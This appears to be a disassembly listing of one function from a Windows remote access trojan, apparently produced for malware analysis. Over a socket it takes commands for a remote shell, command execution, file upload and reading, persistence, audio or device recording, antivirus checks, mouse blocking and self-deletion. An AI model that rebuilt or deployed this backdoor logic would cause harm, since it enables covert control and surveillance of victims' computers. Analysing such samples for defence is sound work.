Function at 0x1400041da
Capabilities:
Delete file
Receive data
Receive data on socket
Send data
Send data on socket
Terminate process

Disassembly:
push rbp
push rbx
sub rsp, 0x838
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x7d0], ecx
lea rax, [rbp - 0x60]
mov r8d, 0x800
mov edx, 0
mov rcx, rax
call sym.memset
mov eax, dword [rbp + 0x7d0]
cdqe
lea rdx, [rbp - 0x60]
mov r9d, 0
mov r8d, 0x800
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
lea rax, [rbp - 0x60]
lea rdx, str.exit
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x14000424d
mov eax, 0
jmp 0x1400045c7
lea rax, [rbp - 0x60]
lea rdx, str.exit__y
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x14000427d
lea rax, [0x14001b4c0]
mov rcx, rax
call sym.remove
mov ecx, 0
call sym.exit
lea rax, [rbp - 0x60]
lea rdx, str.shell
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x1400042a6
mov eax, dword [rbp + 0x7d0]
mov ecx, eax
call sym.ash
jmp 0x1400041f1
lea rax, [rbp - 0x60]
lea rdx, [0x1400145e7]
mov rcx, rax
call sym.strstr
test rax, rax
je 0x1400042d4
lea rdx, [rbp - 0x60]
mov eax, dword [rbp + 0x7d0]
mov ecx, eax
call sym.rdFle
jmp 0x1400041f1
lea rax, [rbp - 0x60]
lea rdx, str.exec
mov rcx, rax
call sym.strstr
test rax, rax
je 0x140004302
lea rdx, [rbp - 0x60]
mov eax, dword [rbp + 0x7d0]
mov ecx, eax
call sym.excndSnd
jmp 0x1400041f1
lea rax, [rbp - 0x60]
lea rdx, str.upload
mov rcx, rax
call sym.strstr
test rax, rax
je 0x140004334
mov eax, dword [rbp + 0x7d0]
movsxd rdx, eax
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.upldFnc
jmp 0x1400041f1
lea rax, [rbp - 0x60]
lea rdx, str.sysinfo
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x140004360
mov eax, dword [rbp + 0x7d0]
cdqe
mov rcx, rax
call sym.strtAll
jmp 0x1400041f1
lea rax, [rbp - 0x60]
lea rdx, str.lowpersistence
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x14000439e
mov eax, dword [rbp + 0x7d0]
lea rdx, [0x140014624]
mov ecx, eax
call sym.getPrstnc
mov ecx, 0x12c
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x1400041f1
lea rax, [rbp - 0x60]
lea rdx, str.persistence
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x1400043dc
mov eax, dword [rbp + 0x7d0]
lea rdx, str.high
mov ecx, eax
call sym.getPrstnc
mov ecx, 0x12c
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x1400041f1
lea rax, [rbp - 0x60]
lea rdx, str.check
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x14000442c
call sym.sPrvlg
mov rcx, rax
call sym.strlen
mov ebx, eax
call sym.sPrvlg
mov rdx, rax
mov eax, dword [rbp + 0x7d0]
cdqe
mov r9d, 0
mov r8d, ebx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
jmp 0x1400041f1
lea rax, [rbp - 0x60]
lea rdx, str.record
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x140004477
mov eax, dword [rbp + 0x7d0]
cdqe
mov rcx, rax
call sym.srtRrcd
mov qword [rbp + 0x7a8], rax
mov eax, dword [rbp + 0x7d0]
movsxd rdx, eax
mov rax, qword [rbp + 0x7a8]
mov rcx, rax
call sym.rdViceDt
jmp 0x1400041f1
lea rax, [rbp - 0x60]
lea rdx, str.checkAv
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x1400044a3
mov eax, dword [rbp + 0x7d0]
cdqe
mov rcx, rax
call sym.lowSearch
jmp 0x1400041f1
lea rax, [rbp - 0x60]
lea rdx, str.blockMouse
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x140004532
call sym.sPrvlg
mov rcx, rax
lea rax, [0x140014325]
mov rdx, rax
call sym.strcmp
test eax, eax
jne 0x140004506
call sym.blockInput
mov eax, dword [rbp + 0x7d0]
cdqe
mov r9d, 0
mov r8d, 3
lea rdx, [0x140014325]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
jmp 0x1400041f1
mov eax, dword [rbp + 0x7d0]
cdqe
mov r9d, 0
mov r8d, 0xf
lea rdx, str.permisson_error
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
jmp 0x1400041f1
lea rax, [rbp - 0x60]
lea rdx, str.unblockMouse
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x1400045c1
call sym.sPrvlg
mov rcx, rax
lea rax, [0x140014325]
mov rdx, rax
call sym.strcmp
test eax, eax
jne 0x140004595
call sym.ublockInput
mov eax, dword [rbp + 0x7d0]
cdqe
mov r9d, 0
mov r8d, 3
lea rdx, [0x140014325]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
jmp 0x1400041f1
mov eax, dword [rbp + 0x7d0]
cdqe
mov r9d, 0
mov r8d, 0xf
lea rdx, str.permisson_error
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
jmp 0x1400041f1
nop
jmp 0x1400041f1
add rsp, 0x838
pop rbx
pop rbp
ret